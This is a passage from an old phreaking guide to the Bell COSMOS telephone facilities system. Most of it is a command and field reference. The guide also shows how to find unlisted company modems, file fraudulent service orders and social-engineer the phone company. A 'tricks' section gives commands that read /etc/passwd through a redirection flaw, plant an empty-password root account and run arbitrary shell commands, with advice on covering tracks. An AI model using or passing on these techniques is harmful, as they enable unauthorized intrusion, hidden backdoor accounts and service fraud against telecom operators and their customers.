              TER      Terminal Number
              GP       Group Number
              ORD      Work Order
EX:  To print information on telephone number 222-2222
WC% INQ
H TN 222-2222
_.
EX:  To print information on cable pair 11-1111
WC% INQ
H CP 11-1111
_.
INQ will print a full report whatever circuit you examine, while ISH
will print a shorter, easier to read report.  Below is an actual ISH
done on a Telenet node.
CA% ISH
H TN 225-8004
_.
TN   225-8004
     ST  AU          DATE 06-03-83   HT GP 0-0081    BTN 225-8004    TYPE X
OE   006-012-200
     ST  WK          DATE 03-04-86   CS 1FBH     US 1BH       FEA TNNL
     LCC TF2
     LOC WF12003
TER  0-0081-0001
     ST  WK
     RMKG GTE.TELENET
CP   95-0701
     ST  WK          DATE 01-24-86    RZ 13
     LOC WF12009
TP   6105-0910
     ST  WK          DATE 01-24-86
     LOC  F12003
     LOC  F42001
     FROM FAC OE  006-012-200     TO FAC TP  6206-0107
TP   6206-0107
     ST  WK          DATE 01-24-86
     LOC  F22029
     LOC  F42002
HUNT SEQUENCE FOR TN 225-8004
  TER 0001-0040
** ISH COMPLETED 02-29-99  12:00
CA%
When you pull an inquiry on a number that you are interested in, you will
be given its cable pair, its order number, any numbers that connect to
it through a hunt sequence, and you will see any remarks entered about the
number.  This information can prove to be very valuable.  For instance:
You suspect that a company has a modem online, yet you don't want to waste
time sequentially dialing thousands of numbers.  You can simply enter
an ISH on the number to get its cable pair, then begin pulling ISH
reports on cable pairs close to the main one.  Then you need only dial
twenty or so numbers that are in the same area as the main number, and
you will find the computer.
Another extremely valuable command is SIR (Sorting Inquiry by Range).
With SIR, you can print the circuit information on all lines that match
specified criteria within a specified range of numbers.  This command
requires only H line input, but numerous lines may be entered in order to
narrow down the search.  You may also use the wildcard character ("?") to
encompass a larger range when doing a SIR.  There are many applications
for SIR, but I will only show examples on a few I have found to be
most useful.
Many times entries have special remarks entered about the circuit.  These
```

are usually entered as RMKT (Remarks on Telephone Number), but they may be entered as RMKO (Remarks on Office Equipment) or RMKP (Remarks on Cable Pair), depending upon what the person entering felt like typing.
Most of the time the remarks really don't correspond like they should. Telephone companies are pretty thorough about remarking on a line that they own and they will usually use the RMKT prefix.
EX: To find all telephone company (Southwestern Bell) lines in prefix 222

```
WC% SIR
H TN 222-0000,222-9999
_H RMKT SWBT?
_.
```

The "?" after SWBT acts as a wildcard. Typing SWB? would perform the same search.
You may also want to search by STT (Telephone number status). Some types of STT are:

AU	Auxiliary
NP	Non-published
OF	Official (telco owned)
TS	Test

Another way to distinguish types of number is by CS (Customer Class of Service). CS values tend to vary from BOC to BOC, but business lines will usually look like "1FB", or at least contain a "B". Residences will usually look like "1FR." Sometimes telco lines are listed as "1OF", but may also be entered as "1FB". On lines in a hunt group, the CS will be appended with the letter "H", as "1FBH".
Let's say a company owns a block on an exchange (333) running from 1000 to 3500. You want to find all possible computer numbers in that area. Chances are good that they are not listed.
EX:

```
WC% SIR
H TN 333-1000,333-3500
_H STT NP
_H CS 1FB
_.
```

The above would list all non-published business numbers from 333-1000 to 333-3500.
To find all numbers that are translated 800 numbers in the same prefix range as above, you can do the following:
EX:

```
WC% SIR
H TN 333-1000,333-3500
_H PL ?800?
_.
```

This will prints reports on all private lines registered as 800 numbers.
There is also a shorter version of SIR, LTN (List Telephone Numbers), and a more detailed version, GFR (General Facility Report), but I have found SIR to be the better of the three to use for my purposes.
In order to change line attributes, or to create new lines you will need to use two commands SOE (Service Order Entry), and RCP (Recent Change Packager). These two commands are pretty detailed in what they can do, so I will just cover a few of their options.
SOE will allow you to assign a new circuit, and specify the desired telephone number, custom calling features, billing telephone number, etc.
SOE requires both "H" and "I" lines of input. The best way to enter a new service order is to have COSMOS pick your new telephone number and assign the needed office equipment number. If you want to pick your own telephone number, the number you pick must have a status (STO) of SP, LI, RS, or PD (with a disconnect date before the due date on your new service order). This is so that you do not try to assign a number that is currently working to your new service order. You can check this by doing an ISH on all the variations of numbers you desire, and checking the STO. You can also get a list of available numbers in a given prefix using the NAI command. You should also do a SIR of recent entries, to try to find the proper format of order numbers, so that you do not reuse one, or make one up that is formatted incorrectly. Another method to make sure that you have the correct formatting of order numbers is to call the phone company and request the installation of a line in the area you are working in. They will tell you your service order number for reference. Later, you can merely cancel the order. You will also have to find a valid cable pair, so do an ISH on whatever number written in your junction box that is not working, and then make sure there is no pending

connect orders entered on it.
To enter a service order for a new connection, having COSMOS pick an available telephone number and assign proper office equipment numbers, you would do the following:
EX:
```
WC% SOE
H ORD SO123456/OT NC/DD DD-MM-YY   (Use valid Day, Month, Year for Due Date)
_I TN ?/US 1FR/FEA TNNL/OE ?/CP XX-YYYY   (Use valid cable pair for XX-YYYY)
_.
```
You would now need to enter RCP and make a correctly formatted recent change report for the order you entered so RCMAC can pick up the order and directly enter it into the switch. What RCP does is take your order and change it into actual switch programming, using templates that are stored in directories corresponding to what type of switching equipment is used for that WC.
(EX: ess5a)
EX: To create a recent change package for the order entered above
```
WC% RCP
H ORD SO123455
_.
```
Using SOE you can specify custom calling features, you can specify billing telephone numbers, you can establish service as coin, and several other options by adding "I" line information corresponding to that particular option.
```
              _I CCF XXXXXX       (XXXXXX is valid custom calling features)
              _I BTN NNX-XXXX     (NNX-XXXX is valid billing TN)
              _I TT C
```
To get a list of spare (available) telephone numbers in a given prefix, you can use the NAI (Telephone Number Assignment Inquiry) command. You only need enter H line criteria. In addition to searching by prefix (NNX), you can search by switch type (TYP), or rate zone (RTZ).
EX: To select one spare telephone number in 555 and make it reserved status
```
WC% NAI
H TT X/NNX 555/STT RS
_.
```
You may also have NAI print out several available numbers, however, you cannot change the status unless you are printing one listing.
EX:
```
WC% NAI
H TT X/NNX 555/LC XX        (Where XX is a number between 1 and 25)
_.
```
To get a listing of all prefixes that exist in the Wire Center you are logged in under, you can use the command DDS (Display DS Table). This command will list the ranges that exist for a given input.
To list all telephone numbers in a given WC:
```
WC% DDS
H TN ?
_.
```
To list all cable pair ranges:
```
WC% DDS
H CP ?
_.
```
To change from one Wire Center to another, you use the command WCC (Wire Center Change). This is a very straight forward command.
EX:
```
WC% WCC NW
NW%
```
To allow for redirection in your COSMOS commands, you must execute the DIO command. This command is rather important for manipulating commands to work for you.
EX:
```
WC% DIO
```
To see what transactions other people logged in are running, you can use the command TSNAP (on certain generics)
EX:
```
WC% TSNAP
```
There are about one hundred other COSMOS commands that are all defined at the end of this file. I cannot go into detail on all of them but I will list them and their meanings.
==========
COSMOS TRICKS

Even if you don't have full COSNIX access, you can basically execute any command or read any file that exists in the system. Using the INQ (or ISH) command and redirection, you can open and display any file.
EX: To display the password file
WC% INQ </ETC/PASSWD
This will display the file, however, since this is a flaw in the command, it thinks the file is to be input for INQ, and each line will be preceded with "ILLEGAL LINE TYPE", but this can be ignored.
Other files to look at:
/USR/FACS/WCFILE List of all Wire Centers
/ETC/MATRIX.P Permission Matrix (Who can execute what commands)
You may or may not want to try the following. There is a high probability that you will be noticed on the system. If your local COSMOS ports are usually left logged in, don't bother doing this. However, if your COSMOS ports are always logged out, and you almost never get in, and you happen to stumble upon one left logged for the first time in months, it might be worth a try.
There are a few ways to make a new account on COSMOS; however, you need to be able to write to the password file. Some systems allow this, but most do not.
The easiest way involves using the echo command and redirection.
EX:
WC% echo "EB01::0::y:1:/tmp:/usr/cosmos:/usr/preop:/usr/so" >>/etc/passwd
This will add user EB01 to the end of the password file.
If you do not have access to echo you can do the same thing using the TED command (Text Editor).
WC% TED >>/etc/passwd
S.O. NO.= SO123456
IS THIS A NEW S.O. (Y on NO) Y
1d
a
EB01::0::y:1:/tmp:/usr/cosmos:/usr/preop:/usr/so
^C
1p
w
q
After executing the above, you will need to clean up the /etc/passwd file to remove the Service Order information put in there by TED. You will also need to remove the service order you created from the /usr/so/WC directory.
If you cannot find a way to get shell access, you can still execute any COSNIX command you desire again using TED, MSK (Output a Transaction Mask), and ARG (Assemble and Run a Given Master File).
EX:
WC% TED
S.O. NO.= SO123456
IS THIS A NEW S.O. (Y or NO) Y
12
1d
a
$*
run!
^c
w
q
WC% MSK >/usr/so/newcmd
SO123456
WC% ARG
newcmd ls /etc
To execute the command, you need to do ARG, then the name of the file (which I called newcmd), then the COSNIX command you wish to execute.
If you can use echo this can be done much easier.
EX:
WC% echo '$*' >/usr/so/newcmd
WC% echo 'run!' >>/usr/so/newcmd
Then you can run your command normally with ARG.
WC% ARG
newcmd cd ..
IF you do not have access to echo, create a newcmd file and you can use it

```
that way.
WC% ARG
newcmd echo EB01::0::y:1:/tmp:/usr/cosmos:/usr/so:/usr/preop >>/etc/passwd
================================================================================
COSMOS COMMAND LISTING
ACE  Establish an Assignment Change Ticket
AIT  ANALIT Initialization of Tables
ARG  Assemble and Run a Given Master File
AUD  Assignment List Audit
BAI  Bridge Lifter Assignment Inquiry
BYF  Display the Bypass File
BYP  Change the Contents of the Bypass File
CAY  Create an Assembly
CCA  Change Customer Attributes
CCT  Initialize and Update the Contractor-Transducer File
CDA  Change Distribution Attributes
CDD  Change Due Date
CDR  Cut Thru DIP Report
CFA  Change Facility Attributes
CFP  Print the Class of Service/Features for an Electromechanical Entity
CFU  Change Facility Usage
CIE  Company Establish Company Initiated Change
CLI  COSMOS Processed ALIT Reports
CPI  COSMOS-PREMIS Interface
CPM  COSMOS Performance Monitor
CTC  Complete a Cable Transfer or Complete a Cable Throw
CTE  Cable Throw Order Establishment
CTF  Display the Contacter-Transducer File
CTL  Cable Throw with Line Equipment Assignment
CTM  Cable Throw Modification
CTP  Print Cable Transfer Frame Work
CTR  Cable Throw Replacement
CTS  Cable Throw Summary
CTW  Withdraw a Cable Transfer or a Cable Throw
CUP  Common Update Processor
CXC  Complex Service Order Input Checker
CXM  Centrex Table Management
CXT  Complex Order Inquiry for NAC Review
DAY  Delete an Assembly
DBL  Data Base Load
DCN  List Disconnected and Changed Numbers
DDS  Display the DS Table
DIR  Standard DIP Report
DPN  DIP Purge Number
DPR  DIP Report and Removal
DQR  Design Quota System Report
DQS  Design Quota System
DTE  Print Current Date
EDZ  Facility Emergency Assignment List
ELA  Entity Load Analysis
ESP  Print Entire Summary Table
FDY  Set Fiscal Day for LAC
FLR  Frame Layout Report
FOR  Frame Order Report
FOS  Frame Operations Summary
FTA  Frame Transfer Analysis
FTC  Frame Transfer Completion
FTE  Frame Transfer Establishment
FTL  Frame Transfer LETs
FTR  Frame Transfer Reprint
FTW  Frame Transfer Withdrawal
FWM  Frame Work Management
GFR  General Facility Report
GLA  Generate Lists for Assignment
HBS  Hunt Group Blocks of Spares
HGR  Hunt Group Report
HGS  Hunt Group Summary
HIS  Hunting ISH
IJR  Input a Jeopardy Reason
IMU  Input Measured CCS Usage Data
```

```
INQ  Complete Circuit Inquiry
ISF  Inquire on a Single Facility
ISH  Complete Circuit Inquiry Short
JAM  Jumper Activity Management
JPH  Jumper Placement History
KPR  Killer Pair Report
KSM  Create a Transaction Mask
LAI  Line Equipment Assignment Inquiry
LBP  Load Balance Parameters
LCD  LIST Cable Summary, LIT Demand Test
LCP  List Cable Pairs
LEE  NAC Related Line Equipment Transfer Order Establishment
LEW  Line Equipment Transfer Withdrawal
LFC  Load Factor Calculation
LFR  Line Failure Report
LGN  List Hunt Groups
LIN  Transmit ALIT Data to COSMOS
LOE  List Originating Line Equipment
LSE  Line and Station Transfer Order Establishment
LSW  Line and Station transfer Withdrawal
LTN  List Telephone Numbers
MAL  Manual Assignment List
MAP  Manual Assignment Parameters
MAQ  Manual Assignment File Inquiry
MAY  Modify an Assembly
MCE  Establish a Maintenance Change Ticket
MCH  Manually Change Hunt
MCL  Maintenance Change List
MCR  Establish a Maintenance Change Repair
MCW  Maintenance Change Ticket Withdrawal
MDC  Manually Disconnect a Working Circuit
MEC  Manually Establish a Circuit
MMC  Manually Modify a Circuit
MOC  MOE Order Completion
MOE  Mass OE Transfers
MOF  Mass OE Frame Transfer Listings
MOW  MOE Order Withdrawal
MPK  Modify Work Package
MSK  Output a Transaction Mask
MTR  Manually Test a Response
NAI  Telephone Number Assignment Inquiry
NOL  NAC Service Order Listing
NSD  Number Summary Display
OIJ  Orders in Jeopardy
OPN  Open-of-Day Report
OPU  Outside Plant Cable Usage
PAK  Work Packages
PEP  Position Establishment for Parties
PFR  Party Line Fill Report
PRP  Periodic Purging of Remarks
QEX  Question an Execution
QUE  Queue
RAL  Relay Assignment List
RAP  Relay Assignment Parameters
RAS  Release Sequence Number Lists and Related TN/OE
RBS  Print TBS Relays Assignment Record
RCP  Recent Change Packager
RCR  Recent Change Report
RCS  Recent Change Summary
RED  Recent Change Message Text Editor
REL  Release Non-Intercepted Numbers by Release Date
REM  Remove Frame Locations
RET  Retermination of Frame Locations
REX  Reexecute a Service Order
RJR  Remove Jeopardy Reason Codes
RMP  Recent Change Punctuation Table
RNA  Release Telephone Numbers for Assignment
ROE  Reservation Order Establishment
ROI  Reservation Order Inquiry
ROW  Reservation Order Withdrawal
```

```
RTH  Report Transaction to Count Spare and DIPed Line Equipment
RTS  Relay and Telephone Number Status Report
RUP  Request Unsolicited Processing
SAI  Summary of Action Items
SCA  Service Order Completion-Automatic
SCF  Simple Completion for MDF
SCI  Spare Cable Pair Inquiry
SCM  Standard Completion by MDF
SCP  Service Order Completion by LAC
SCR  Standard Completion by RCMAC
SEL  Selecting Lines for an Exchange Class of Service Study
SET  Statistics on Equipment and Telephone Numbers
SGH  Supply Relays for Groups of 5XB Hunts
SIR  Sorting Inquiry by Range
SLC  Subscriber Line Counts for Custom Calling Features
SOC  Service Order Cancel
SOE  Service Order Establishment
SOF  Service Order Fix
SOH  Service Order Withheld
SOI  Service Order Assignment Inquiry
SOL  Service Order Listing
SOM  Modify a Pending Service Order
SOW  Service Order Withdrawal
STN  Summarize Telephone Numbers
SVL  Service Observing Loops
TAI  Tie Pair Assignment Inquiry
TAT  Test Alignment of Frame Terminal
TED  Text Editor
TET  Display or Change Band Filter File, Retention Factor and Print Threshold
TFC  Transfer Frame Changes
TIG  Dial Transfer Input Generator
TLC  Translate LANAVAR/CPS
TNS  Telephone Number Swap
TOC  Transfer Order Completion
TOE  Transfer Order Establishment
TOF  Mass OE Transfer Order Frame Listings
TOI  Dial Transfer Order Inquiry
TOL  Transfer Order Lists
TOO  Transfer Order Omissions
TOW  Transfer Order Withdrawal
TPU  Tie Pair Usage Report
TRC  Transfer Order Recent Change Report
TRI  Transmission Equipment Assignment Inquiry
TRW  Total Reservation Order Withdrawal
TSL  Line Equipment Summary Report
TSN  Traffic Statistics on Telephone Numbers
TSW  Total Service Order Withdrawal
TTY  Get TTY Name
TXC  Text Checker
TXM  Transfer Centrex Management
UDP  Update DIP Parameters
UES  Update the Entity Summary Table
UFO  Unprinted Frame Orders
UPC  Update CCS vs. Class of Service Table
USL  List USOC (US) File Data
UTC  Update Table for Concentrator Redesign
WCC  Change Wire Center
WCT  Worksheet for Cable Throw Orders
WFL  Working Frame Location
WOI  Work Order Inquiry
WOL  Work Order Listing
WPT  Work Package Table
WSL  Work Status List
WUL  Work Unit Report for Subscriber Line Testing and Installation Assignment
================================================================================
COSMOS ABBREVIATIONS AND FORMATS
The following will be given as follows:
Prefix and Meaning
Format
Code Value and Meaning
```

```
AC   Assembly category
     AC XXXX
     PERM=Permanent Facility Assemblies
     TEMP=Temporary Facility Assemblies
AC   Assembly Code
     AC XXX
     XXX=1-999
ADSR Administration of Designed Services Review
     ADSR X
     Y=Yes, TIRKS Circuit
     N=No, COSMOS Circuit
AGM  Normal Aging Months
     AGM XX
     XX=Number of Months
AGT  Accelerated Aging Type
     AGT XXX
     BUS=Business
     RES=Residential
AI   Assigner's Initials
     AI XXX
     XXX=3 Alphanumeric Characters
AO   Allocation Order
     AO XX
     XX=Two Numeric Characters
AR   Advance Relay
     AR XYY-ZZZ
     X=Marker Group
     YY=Number Group from Frame
     ZZZ=Relay Number
ATN  Assigner's Telephone Number
     ATN XXX-XXXX
     XXX-XXXX=Assigners TN
BL   Bridge Lifter
     BL XX...XX
     XX...XX=Maximum of 17 Alphanumeric Characters
BLS  Bridge Lifter Status
     BLS X
     Y=Yes
     N=No
BND  Band Number
     BND X
     X=0-3
BTN  Billing Telephone Number
     BTN XXX-XXXX
     XXX-XXXX=Billing Telephone Number
CA   Cable Number
     CA XX...XX
     XX...XX=Maximum of 10 Alphanumeric Characters
CAT  Centrex Access Treatment
     CAT XX
     XX=Maximum of 2 Numeric Characters
CC   Call Count
     CC XX
     XX=Maximum of 2 Numeric Characters
CCF  Custom Calling Features
     CCF XXXXXX
     XXXXXX=3 to 6 Alphanumeric Characters
CCS  Hundred Call Seconds
     CCS XXXX
     XXXX=3 or 4 Numeric Characters
CEU  CCS Estimated Usage
     CEU XXXX
     XXXX=3 or 4 Numeric Characters
CG   Control Group Number
     CG X
     X=0-9
CKID Circuit Identification
     CKID XX...XX
     XX..XX=Maximum of 61 Alphanumeric Characters
CKL  Circuit Location
```

```
     CKL XXXX
     XXXX=Maximum of 4 Alphanumeric Characters
CLC  Common Language Code for an Entity
     CLC XX...XX
     XX...XX=Maximum of 11 Alphanumeric Characters
CLCI Common Language Circuit Identification
     CLCI XX...XX
     XX...XX=Maximum of 61 Alphanumeric Characters
CLEI Common Language Equipment Identifier
     CLEI XX...XX
     XX...XX=Maximum of 10 Alphanumeric Characters
CLF  Creating DIPs Upper Bound Load Factor
     CLF XX
     XX=1-10
CLL  Creating DIPs Lower Bound Load Factor
     CLF X
     X=1-9
CLS  CLCI in Serial Number Format
     CLS XX...XX
     XX..XX=Maximum of 61 Alphanumeric Characters
CLT  CLCI Telephone Number Format
     CLT XX...XX
     XX...XX=Maximum of 61 Alphanumeric Characters
CMF  Capacity Main Station Fill
     CMF XXXXXX
     XXXXXX=Maximum of 6 Numeric Characters
CMU  CCS Measured Usage
     CMU XXXX
     XXXX=3 or 4 Numeric Characters
COM  Complement Size
     COM XXXX
     XXXX=1-9999
CON  Concentrator
     CON XX-YY
     XX=Maximum of 2 Alphanumeric Characters
     YY=Maximum of 2 Numeric Characters
CP   Cable and Pair Number
     CP XX...XX-YZZZ
     XX...XX=Cable ID, Maximum of 10 Alphanumeric Characters
     YZZZ=Cable Pair ID
     Y=Alphanumeric
     ZZZ=Numeric
CPU  CCS Capacity Usage
     CPU XXXX
     XXXX=3 or 4 Numeric Characters
CRG  CREG Tag
     CRG XXX
     XXX=YES or NO
CS   Customer Class of Service
     CS XXXXXX
     XXXXXX=Maximum of 6 Alphanumeric Characters
CTID Circuit Termination Identification
     CTID XX...XX
     XX...XX=Maximum of 61 Alphanumeric Characters
CTT  Cut Through Tag
     CTT XXX
     XXX=YES or NO
CTX  Centrex Group Number
     CTX XXXX
     XXXX=Maximum of 4 numeric Characters
DC   Dial Code
     DC X
     X=1 Alpha Characters
DD   Due Date
     DD MM-DD-YY
     MM=Month
     DD=Day
     YY=Year
DID  Direct Inward Dialing
     DID XXXX
```

```
     XXXX=Maximum of 4 Numeric Characters
DIP  DIP Creation Option
     DIP X
     Y=Yes
     N=No
DNY  Denial of Service for Non-payments
     DNY X
     I=Incoming
     O=Outgoing
     B=Both
DPA  Different Premises Address
     DPA XXX
     XXX=Maximum of 3 Alphanumeric Characters
DPT  Department Name
     DPT XXX
     XXX=Maximum of 3 Alphanumeric Characters
DST  Destination of Order Response
     DST XXXX
     XXXX=Maximum of 4 Alphanumeric Characters
DT   Due Time
     DT XX
     XX=AM, PM, or 0-9
EC   ESS Entity and Control Group Number
     EC YZ
     Y=Entity Number
     Z=Control Group Identifier
ECS  Equipment Class of Service
     ECS XXXXXX
     XXXXXX=Maximum of 6 Alphanumeric Characters
ED   Enter Date
     ED MM-DD-YY
     MM=Month
     DD=Day
     YY=Year
EN   Entity
     EN X
     X=S, E, 1, 5 or 0
EN   Entity Number
     EN X
     X=0-9
ENT  Entity Number
     ENT X
     X=0-9
EO   Error Handling Option
     EO XX
     CE=Continue Processing and Establish Valid Circuits
     CW=Continue Processing and Withdraw Established Circuits
     SE=Stop Processing and Establish Valid Circuits
     SW=Stop Processing and Withdraw Established Circuits
EQF  Equipment Features
     EQF WXYZ
     W=R (Rotary) or T (Touchtone)
     Y=S (Sleeve) X (Range Extension) or N (Non-sleeve or Non-range Extension)
     X=E (Essential) or N (Non-essential)
     Z=G (Ground Start) or L (Loop Start)
EQV  Frame Equivalence
     EQV FXX
     F=The Letter "F"
     XX=Two Alphanumeric Characters
ETC  Estimated Trunk CCS Value
     ETC XXXX
     XXXX=Maximum of 4 Alphanumeric Characters
EXD  ECS Crossloading Option
     EXD XXX
     XXX=YES or NO
FAC  Type of Segment List Being Audited
     FAC XX
     TN=Telephone Number
     OE=Line Equipment
FAC  Circuit Confiruration
```

```
     FAC XXX          or
     FAC TN-NNX       or
     FAC CP-XX...X    or
     FAC SE-YY...Y    or
     FAC PL-ZZ...Z
     XXX=Any Facility Prefix
     NNX=Three Alphanumeric Characters
     XX...XX=Maximum of 10 Alphanumeric Characters
     YY...YY=Maximum of 52 Alphanumeric Characters
     ZZ...ZZ=Maximum of 61 Alphanumeric Characters
FC   From Cable
     FC XX...XX
     XX...XX=Maximum of 10 Alphanumeric Characters
FDD  Frame Due Date
     FDD MM-DD-YY
     MM=Month
     DD=Day
     YY=Year
FEA  Customer Feature
     FEA XXXX
     (Same as EQF)
FILT Filter
     FILT XXX
     XXX=Y, YES, N, or NO
FR   Frame Identification
     FR FXX
     F=The letter "F"
     XX=Two Alphanumeric Characters
FT   Frame Time
     FT XX
     XX=01-24
FW   MDF Output Suppressed
     FW X
     Y=Frame Work Yes
     N=Frame Work No
GP   MLHG Group Number
     GP Y-XXXX
     Y=Alphanumeric Control Group
     XXXX=Numeric Group Number
GSO  Ground Start Option
     GSO X
     1=Assigned to any OE in the Entity
     2=Assigned to Even Levels
     3=Only Assigned to OE Specified as Ground Start
HC   Hunt Count
     HC XXXX
     XXXX=Maximum of 4 Numeric Characters
HF   Hunt-from Telephone Number
     HF XXX-XXXX
     XXX-XXXX=Telephone Number
HLC  Highest Lead Factor Group Count
     HLC XXXX
     XXXX=1-9999
HR   Held Order Reason Code
     HR XX
     CE=Equipment Shortage
     CF=Lack of Facility
     CL=Plant Load
     CO=General Company Reasons
     C1-C5-Additional Company Reasons
     SA=Subscriber Access
     SL=Subscriber Requested Later Date
     SO=General Subscriber Reasons
     SR=Subscriber Not Ready
     S1-S5=Additional General Subscriber Reasons
HRS  Hours Prefix
     HRS XX
     XX=01-24
HT   Hunt-to Telephone Number
     HT XXX-XXXX
```

```
     XXX-XXXX=Telephone Number
HTG  Hunt-to Group Number
     HTG Y-XXXX
     Y=Alphanumeric Control Group
     XXXX=Numeric Group Number
HTX  Hunt-to X Number
     HTX XXX-YYXX of
     HTX XXX-YXX
     Y=Alphanumeric
     X=Numeric
INIT Allocation Table Initalization
     INIT
     (No Data Entry)
ITM  Cable Pair Item Number
     ITM XX
     XX=Two Numeric Characters
JL   Jumper Length
     JL XXX
     XXX=Maximum of 3 Numeric Characters
JR   Jeopardy Reason
     JR XX
     A1=Assignment Error on CP
     A2=Assignment Error on OE
     A3=Assignment Error on TN
     A4-A9=Other Assignment Error
     C1=No SSWO for Circuit Design Group
     C2-C9=Local Code for Circuit Design Group
     E1-E9=No ESS Translations
     IB=No Installation Go-ahead for Business
     IC=No Installation Go-ahead for Coin
     ID=No Installation Go-ahead for Data
     IR=No Installation Go-ahead for Residence
     IS-No Installation Go-ahead for Special
     I1-I4=Local Codes foir No Installation Go-ahead
     RB=Business RSB
     RC=Coin RSB
     RD=Data RSB
     RR=Residence RSB
     RS=Special RSB
     R1-R4=Local Use for RSB
LC   Output Line Count
     LC XXXX
     XXXX=0-9999
LC   Line Count
     LC XXX
     XXX=0-999
LC   Pending Service Order Count
     LC
     (No Data Entry)
LCC  Line Class Code
     LCC XXX
     XXX Maximum of 3 Alphanumeric Characters
LD   Loading Division
     LD XX
     XX=Two Numeric Characters
LDN  Listed Directory Number
     LDN XXX-XXXX
     XXX-XXXX=Telephone Number
LF   Load Factor
     LF XX
     XX=1-10
LIM  Less Than the Specified Number of Pairs
     LIM XX
     XX=0-50
LIM  High Limit on Number of Specified Status Pairs in a Complement
     LIM XX
     XX=0-50
LIM  Low Limit on Number of Spare Line Equipment in Vertical Files
     LIM XX
     LIM=1-10
```

```
LLC  Low Load Group Count
     LLC XXXX
     XXXX=0-9999
LOC  Location
     LOC FXXYYY
     F=The Letter "F"
     XX=Alphanumeric
     YYY=001-999
LP   Loop Range
     LP XXX;XXX
     XXX;XXX=Six Numeric Characters
LS   List New Pending Cable Transfers
     LS XXX
     XXX=NEW
LTI  Loop Termination Identifier
     LTI XXX
     XXX=Three Alphanumeric Characters
MASK Office Equipment Mask
     MASK OE ID
     ID=XXX-XXX-XXX    =1ESS
     ID=XXX-XXXX       =2ESS
     ID=XXX-XXXX       =3ESS
     ID=XXXX-XXX-XX    =5ESS
     ID=XXXX-XX-XX     =5ESS
     ID=XXXX-X-XXXX    =RSS
     ID=XXXX-XXX-XX    =1XB
     ID=XXXX-XXXX-XX   =1XB
     ID=XXX-XX-XX      =5XB
     ID=XXXX-XXX       =SXS
     ID=XXX-X-XX-X     =DMS-10
     ID=XXX-X-XX-XX    -DMS-100
     X=Alphanumeric
MAT  Manual Assistance Tag
     MAT XXX
     XXX=YES or NO
MAX  Maximum Percentage Value of Entity Fill or Maximum CCS Value
     MAX XXX
     XXX=Maximum of 3 Numeric Characters
MBL  Mini-bridge Lifter Tag
     MBL XX
     Y=MBL Working on CP
     N=CP Can't Support MBL
     EQ=CP has MBL Capabilities
MC   Marker Class of Service
     MC XX
     XX=Two Alphanumeric Characters
MF   Recent Change Message Format
     MF XXXX
     NEW=RX:LINE:messages
     OUT=RC:LINE:OUT:messages
     CHG=RC:LINE:CHG:messages
     SUSP=RC:LINE:CHG:messages of suspended service
MF   Jumper Listing for MDF
     MF XXX
     NEW=Running Jumper Listing
     DJ=Dead Jumper Listing
MF   Message Format When Completing Transfer Circuits with TOC
     MF XXX
     ALL=Message is Printed for Every Circuit in Range
     ERR=Message Printed Only for Circuits not Completed
MF   Message Format for Dial Transfer Number Lists
     MF XXX
     GVR=Transaction GFR Output Format, One Facility per Line
     LVT=Line Verification Test Format
     TLC=Two-line Condensed Format
MG   Marker Group Number
     MG X
     X=0-9
MIN  Minimum Percentage Value of Entity Fill or Minimum CCS Value
     MIN XXX
```

```
     XXX=Maximum of 3 Numeric Characters
MLP  Multi-loop Resistance Zone Threshold
     MLP XX
     XX=Two Numeric Characters
MOD  Module Number
     MOD XXX
     XXX=Three Numeric Characters
MODE Integrated SLC No. 5ESS Mode
     MODE X
     1=5 T1 Carrier Channels
     2=3 T1 Carrier Channels
MPN  Master Work Package Number
     MPN XXXX
     XXXX=1-9999
MR   Message Register
     MR XXXXXX
     XXXXXX=Maximum of 6 Alphanumeric Characters
MRO  Message Register Option
     MRO XXX
     XXX=YES or NO
MT   Master Record Tape Unit Number or Tape Drive to Write
     MT X
     X=Numeric
MTR  Tape Drive to Read
     MTR X
     X=Numeric
MTW  Tape Drive to Write
     MTW X
     X=Numeric
NAR  NAC Assignment Review
     NAR XXX
     XXX=Maximum of 3 Numeric Characters
NGF  Number Group Frame for 5XB
     NGF XXX
     XXX=Three Numeric Characters
NNX  Telephone Exchange Code
     NNX XXX
     XXX=THree Numeric Characters
NOE  Number of OEs to be Assigned
     NOE X
     X=0 or 1
NPA  Area Code and Exchange Number
     NPA XXXXXX
     XXXXXX=Six Alphanumeric Characters
NRM  Normalizing CCS VAlue
     NRM XX
     XX=0-99
NTN  Number of TNs to be Assigned
     NTN X
     X=0 or 1
OA   Line Equipment Assignment Option
     OA X
     Y=Yes
     N=No
OC   Order Category
     OC XXX
     ACT=Assignment Change Ticket
     ALL=All OE Load Factors
     CPC=Special Service
     FM=Count Since OE Input Features Occurrences
     FO=Count All OE Input Feature Occurrences
     HOT=Frame Ouput-urgent
     JR=Jeopardy Reason
OCS  Old Class of Service
     OCS XXXXXX
     XXXXXX=Maximum of 6 Alphanumeric Characters
OD   Output Device
     OD XXXX
     TT=Send Output to Current Terminal
     TTXX=Send Output to Specified Terminal XX
```

```
     MTX=Send Output to Magnetic Tape X
OE   Office Equpiment Number
     OE ID
     (See MASK)
OGO  Outgoing Only Trunk
     OGO XXX
     XXX=Maximum of 4 Numeric Characters
OPT  Party Assignment Option
     OPT X
     1=Assign Multi-party Customers to Spare Party Equipment
     2=Assign Multi-party Customer to Partially Equipped Party Equipment
     3=Assign Only One Multi-Party Customer to each Single Party Equipment
ORD  Service or Work Order
     ORD XX...XX
     XX...XX=Maximum of 20 Alphanumeric Characters
OT   Service or Work Order Type
     OT XXX
     BT=Background Transfer
     CD=Complete Disconnect
     CH=Changed
     CIO=Company Initiated Orders
     F="FROM"
     LET=Line Equipment Transfers
     LST=Line and Station Transfers
     MCE=Maintenance Change by LAC
     MCR=Maintenance Change by Repair
     MCT=All Maintenance Changes
     NC=New Connect
     R=Remarks
     REA=Pending Reassociation
     SW=Swap
     T="TO"
PBX  Private Branch Exchange
     PBX XXXX
     XXXX=Maximum of 4 Numeric Characters
PCID Primary Circuit Identification
     PCID XX...XX
     XX...XX=Maximum of 61 Alphanumeric Characters
PKT  Picket Fence Values
     PKT XXX.X,...,XXX.X
     XXX.X,...,XXX.X=Nine sets of Four Numeric Characters or
     N=No New Values
PL   Private line Circuit Number
     PL XX...XX
     XX...XX=Maximum of 61 Alphanumeric Characters
PNL  PREMIS Number List for TN
     PNL XX...XX
     XX...XX=Maximum of 12 Alphanumeric Characters
POP  Line Equipment Print Option
     POP XXX
     CNC=Concentrator-1ESS, 2ESS, 3ESS, RSS
     CNG=Concentrator Group-2ESS, 3ESS
     HG=Horizontal Group-5XBAR
     IM=Interface Module-5ESS
     LFG=Line Finder Group-SXS
     LLF=Line Link Frame-5XBAR
